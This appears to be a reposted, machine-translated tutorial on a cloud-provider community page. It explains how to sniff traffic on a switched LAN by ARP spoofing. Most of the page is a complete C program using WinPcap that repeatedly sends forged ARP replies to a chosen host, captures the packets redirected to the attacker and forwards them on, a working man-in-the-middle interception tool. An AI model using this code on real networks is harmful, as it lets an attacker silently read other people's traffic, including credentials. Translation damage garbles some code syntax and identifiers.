Principle of sniffing Based on ARP Spoofing

Source: Internet
Author: User
Tags htons

Sniffer is a tool used to transmit data from a network. To achieve this goal, the general approach is to set the NIC to the hybrid mode, so that you can sniff all the data passing through the local NIC (this general sniffer principle is not described here ). However, Sniffer has a disadvantage that it is only applicable to shared LAN and is not valid for switched LAN. Because the data in the network does not pass through the NIC of each host in the switched Lan, you must use another more active method to sniff the LAN, that is, ARP spoofing-based sniffing.
Assume that three hosts, A, B, and C, are located in the same exchange lan. attackers are in host a, while host B and C are communicating. Now a wants to sniff data from B-> C, so a can pretend to be C and perform ARP spoofing on B-send a forged ARP response packet to B, in the response packet, the IP address is the IP address of C and the MAC address is the MAC address of. This response packet will refresh the ARP cache of B and let B think that A is C. in details, B thinks that the MAC address mapped to the IP address of C is the MAC address of host. In this way, the data that B wants to send to C is actually sent to A, which achieves the purpose of sniffing. In addition, since the ARP cache is dynamically updated, we need to constantly send forged ARP response packets to B to prevent the IP-MAC ing in B's ARP cache from being changed back by C. (ARP spoofing knowledge is involved here. If you have any questions, please refer to the relevant information .) Of course, after the sniffing, the C that should have received the data cannot receive the data sent by B. That is to say, the communication between B and C is interrupted. Therefore, after we sniff the data, we must forward the data to C to ensure that the communication between B and C is not interrupted.
The above is the basic principle of ARP spoofing-based sniffing. In this method, sniffing a is actually inserted into B-> C, and B's data is sent to a first, then, a forwards the data to C. The data transmission relationship is as follows:
B -----> A -----> C
B <------------ C
Of course, if you want to sniff the data of C-> B, you can also insert a into C-> B. In this way, you can sniff B, all the data for communication between C is now.
The following code is used to describe the problem. This Code involves the programming of lplpapi and Winpcap. For more information, see:

# Include "stdafx. H"
# Include "winsock2.h"
# Include "packet32.h"
# Include "wchar. H"
# Include "stdio. H"
# Include "iphlpapi. H"

# Pragma comment (Lib, "packet. lib ")
# Pragma comment (Lib, "ws2_32.lib ")
# Pragma comment (Lib, "iphlpapi. lib ")

# Define ndis_packet_type_directed 0x0001 // direct mode

# Pragma pack (push, 1)

Typedef struct _ et_header // Ethernet header
{
Unsigned char eh_dst [6];
Unsigned char eh_src [6];
Unsigned short eh_type;
} Et_header;

Typedef struct _ arp_header // ARP Header
{
Unsigned short arp_hdr;
Unsigned short arp_pro;
Unsigned char arp_hln;
Unsigned char arp_pln;
Unsigned short arp_opt;
Unsigned char arp_sha [6];
Unsigned long arp_spa;
Unsigned char arp_tha [6];
Unsigned long arp_tpa;
} Arp_header;

Typedef struct _ ip_header
{
Char m_ver_hlen; // 4-bit version number, 4-bit IP header Minister
Char m_tos;
Ushort m_tlen;
Ushort m_ident;
Ushort m_flag_frag; // 3-bit flag (1-bit unused bit, 1-bit DF, 1-bit MF), 13-bit segment offset
Char m_ttl;
Char m_protocol;
Ushort m_cksum;
Ulong m_sip;
Ulong m_dip;
} Ip_header;

Typedef struct info // the information structure that will be passed to the listening thread
{
Lpadapter;
Char simulateip [20];
Char targetip [20];
} Info;

# Pragma pack (POP)

Void usage ()
{
Printf ("**********************************/n ");
Printf ("* made by ffantasyyd */N ");
Printf ("x QQ: 76889713 */N ");
Printf ("* Email: ffantasyYD@163.com */N ");
Printf ("**********************************/n ");
Printf ("this program have 2 Param: p2psnifer targetip simulateip/N ");
}

Void strtomac (char * STR, char * Mac) // custom function for converting string to MAC address
{
Char * str1;
Int I;
Int low, high;
Char temp;

For (I = 0; I <6; I ++)
{
Str1 = STR + 1;
Switch (* Str)
{
Case 'A': High = 10;
Break;
Case 'B': High = 11;
Break;
Case 'C': High = 12;
Break;
Case 'D': High = 13;
Break;
Case 'E': High = 14;
Break;
Case 'F': High = 15;
Break;
Default: temp = * STR;
High = atoi (& temp );
}
Switch (* str1)
{
Case 'A': Low = 10;
Break;
Case 'B': Low = 11;
Break;
Case 'C': Low = 12;
Break;
Case 'D': Low = 13;
Break;
Case 'E': Low = 14;
Break;
Case 'F': Low = 15;
Break;
Default: temp = * str1;
Low = atoi (& temp );
}
Mac [I] = high * 16 + low;
STR + = 2;
}
}

Void getlocalmac (char * localmac, char * localip) // obtain the MAC address of the local machine.
{
Ulong numofadapter = 0;
Char Mac [5] [20] = {0}, IP [5] [20] = {0 };

Getadaptersinfo (null, & numofadapter); // obtain the NIC Information
If (numofadapter! = 0)
{
Ip_adapter_info * padapterinfo = (ip_adapter_info *) malloc (numofadapter * sizeof (ip_adapter_info ));
Memset (padapterinfo, 0, numofadapter * sizeof (ip_adapter_info ));
Getadaptersinfo (padapterinfo, & numofadapter );

Printf ("Please select the local Mac! /N ");
For (INT I = 0; (I <5) & (padapterinfo! = NULL); I ++)
{
Sprintf (MAC [I], "% 02x % 02x % 02x % 02x % 02x % 02x", padapterinfo-> Address [0], padapterinfo-> Address [1], padapterinfo-> Address [2],
Padapterinfo-> Address [3], padapterinfo-> Address [4], padapterinfo-> Address [5]);
Memcpy (IP [I], padapterinfo-> ipaddresslist. IPaddress. String, strlen (padapterinfo-> ipaddresslist. IPaddress. String ));

Printf ("% d, % s -- % s/n", I + 1, ip [I], Mac [I]);
Padapterinfo = padapterinfo-> next;
}
}

Int Index = 0;
Scanf ("% d", & Index );
Memcpy (localmac, Mac [index-1], strlen (MAC [index-1]);
Memcpy (localip, IP [index-1], strlen (IP [index-1]);

Return;
}

Bool getremotemac (char * remotemac, char * remoteip) // obtain the MAC address of the remote host.
{
Wsadata;
Ulong remoteaddr = 0, macaddrlen = 6;
Char remotemactemp [6] = {0 };

If (wsastartup (makeword (2, 1), & wsadata )! = 0)
{
Printf ("wsastartup error! /N ");
Return false;
}

Remoteaddr = inet_addr (remoteip );
If (sendarp (remoteaddr, (unsigned long) null, (Pulong) & remotemactemp, & macaddrlen )! = No_error)
{
Printf ("Get remote Mac failed! /N ");
Return false;
}
Memcpy (remotemac, remotemactemp, 6 );
/*
For (INT I = 0; I <6; I ++)
{
Printf ("%. 2x", remotemac [I]);
}
Printf ("/N ");
*/
Return true;
}

Void assay (lpadapter, lppacket, char * targetip, char * simulateip) // analyze the packets received
{
Char * Buf;
Bpf_hdr * lpbpfhdr;
Et_header * lpethdr;
In_addr ADDR = {0 };

Buf = (char *) lppacket-> buffer;
Lpbpfhdr = (bpf_hdr *) BUF;
Lpethdr = (et_header *) (BUF + lpbpfhdr-> bh_hdrlen );

If (lpethdr-> eh_type = htons (0x0800) // you can determine whether the IP package is used.
{
Ip_header * lpiphdr = (ip_header *) (BUF + lpbpfhdr-> bh_hdrlen + sizeof (et_header ));
Char source_ip [20] = {0}, dest_ip [20] = {0 };
ADDR. s_un.s_addr = lpiphdr-> m_sip;
Memcpy (source_ip, inet_ntoa (ADDR), strlen (inet_ntoa (ADDR )));

Memset (& ADDR, 0, sizeof (in_addr ));
ADDR. s_un.s_addr = lpiphdr-> m_dip;
Memcpy (dest_ip, inet_ntoa (ADDR), strlen (inet_ntoa (ADDR )));

If (strcmp (source_ip, targetip) = 0) & (strcmp (dest_ip, simulateip) = 0 ))
{
Printf ("there is a IP packet from % s to % s! /N ", targetip, simulateip );

// The following shows how to send the sniffer packet to the real destination:
Char Mac [6] = {0 };
Lppacket lpsendpacket = NULL;
Char sendbuf [512] = {0 };

Getremotemac (MAC, simulateip );
Memcpy (lpethdr-> eh_dst, Mac, 6 );
Memcpy (sendbuf, lpethdr, sizeof (et_header ));
Memcpy (sendbuf + sizeof (et_header), lpiphdr, ntohs (lpiphdr-> m_tlen ));

Lpsendpacket = packetallocatepacket ();
Packetinitpacket (lpsendpacket, sendbuf, 512 );

Packetsetnumwrites (lpadapter, 2 );
Packetsendpacket (lpadapter, lpsendpacket, true );

Packetfreepacket (lpsendpacket); // release the packet structure pointer
}
}
}

DWORD winapi listen (void * PARAM) // listener thread
{
Lpadapter;
Info * pinfo = (Info *) Param;
Lppacket;
Char Buf [512] = {0 };
Lpadapter = pinfo-> lpadapter;
// Printf ("% s, % s/n", pinfo-> near_ip, pinfo-> far_ip );

Packetsethwfilter (lpadapter, ndis_packet_type_directed); // set the NIC to the direct mode.
Packetsetbuff (lpadapter, 1024); // sets the buffer size of packets received by the network adapter.
Packetsetreadtimeout (lpadapter, 2); // set the "rest" time after receiving a package

While (1)
{
Lppacket = packetallocatepacket (); // allocate memory to the packet structure pointer
Packetinitpacket (lppacket, Buf, 512); // initialize the packet structure pointer

Packetreceivepacket (lpadapter, lppacket, true); // receives data packets
Assay (lpadapter, lppacket, pinfo-> targetip, pinfo-> simulateip); // analyze data packets

// Reset lppacket after each package reception:
Packetfreepacket (lppacket );
Memset (BUF, 0,512 );
}

Packetfreepacket (lppacket); // release lppacket
Return 1;
}

Int main (INT argc, char * argv [])
{
Char s_mac [6] = {0 };
Lpadapter;
Lppacket;
Et_header;
Arp_header;
Static char adapter_list [10] [1, 1024];
Wchar adapter_name [2048];
Wchar * name1, * name2;
Ulong adapter_length = 1024;
Ulong I, adapter_num = 0;
Char buffer [512] = {0 };
Info Param = {0 };

Usage ();
If (argc! = 3)
{
Return-1;
}

// Obtain the MAC address:
Char localmac [20] = {0}, localip [20] = {0 };
Getlocalmac (localmac, localip );

Char remotemac [6] = {0 };
If (getremotemac (remotemac, argv [1]) = false)
{
Return-1;
}

// Enable the adapter:

// Obtain the names of all adapters.
If (packetgetadapternames (char *) adapter_name, & adapter_length) = false)
{
// Adapter_name: a buffer for storing the name of the adapter. Each character of an adapter name
// The two adapters are separated by one '/0', and the two adapters are separated by two'/0 '.
// '/0' indicates that the adapter name has been completed.
// Adapter_length: the buffer size.
Printf ("packetgetadapternames error: % d/N", getlasterror ());
Return-1;
}

Name1 = adapter_name;
Name2 = adapter_name;
I = 0;
// Copy the name of the adapter in adapter_name to adapter_list [] respectively. I starts from 0 and is the first
While (* name1! = '/0') | (* (name1-1 )! = '/0 '))
{
If (* name1 = '/0 ')
{
Memcpy (adapter_list [I], name2, 2*(name1-name2 ));
Name2 = name1 + 1;
I ++;
}
Name1 ++;
}

// Enable the first adapter by default
Lpadapter = (lpadapter) packetopenadapter (lptstr) adapter_list [0]);
If (! Lpadapter | (lpadapter-> hfile = invalid_handle_value ))
{
Printf ("unable to open the driver, error code: % LX/N", getlasterror ());
Return-1;
}

// Start the listening thread:
Param. lpadapter = lpadapter;
Memcpy(param.tar getip, argv [1], strlen (argv [1]);
Memcpy (Param. simulateip, argv [2], strlen (argv [2]);
Createthread (null, 0, listen, & Param, 0, null );

// Counterfeit ARP response packet:
Strtomac (localmac, s_mac); // local_mac
Memcpy (et_header.eh_src, s_mac, 6 );

Memcpy (et_header.eh_dst, remotemac, 6 );

Et_header.eh_type = htons (0x0806); // type 0x0806 indicates this is an ARP packet

Arp_header.arp_hdr = htons (0x0001); // hardware address type ethernet address
Arp_header.arp_pro = htons (0x0800); // The Protocol address type is IP protocol.
Arp_header.arp_hln = 6; // The hardware address length is 6.
Arp_header.arp_pln = 4; // The Protocol address length is 4.
Arp_header.arp_opt = htons (0x0002); // identifies as an ARP response

Arp_header.arp_spa = inet_addr (argv [2]); // source_ip
Memcpy (arp_header.arp_sha, et_header.eh_src, 6 );
Arp_header.arp_tpa = inet_addr (argv [1]); // target_ip
Memcpy (arp_header.arp_tha, et_header.eh_dst, 6 );

Memcpy (buffer, & et_header, sizeof (et_header ));
Memcpy (buffer + sizeof (et_header), & arp_header, sizeof (arp_header ));

// Send the spoofing ARP response packet:
Lppacket = packetallocatepacket (); // allocate memory to the packet structure pointer
Packetinitpacket (lppacket, buffer, 512); // initialize the packet structure pointer

If (packetsetnumwrites (lpadapter, 2) = false) // you can specify the number of sent messages.
{
Printf ("Warning: unable to send more than one packet in a single write! /N ");
}

Printf ("start.../N ");
While (1)
{
If (packetsendpacket (lpadapter, lppacket, true) = false) // continuously sends forged ARP response packets to target hosts.
{
Printf ("error sending the packets! /N ");
Break;
}
Sleep (2000 );
}

Packetfreepacket (lppacket); // release the packet structure pointer
Sleep (5000 );
Packetcloseadapter (lpadapter); // close the adapter
Return 0;
}

The above is the basic implementation of this type of sniffing. Of course, there are still many ways to sniff data in a switched LAN, such as using ARP spoofing to fool switches. In short, there are a lot of methods, but you can't think of them.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.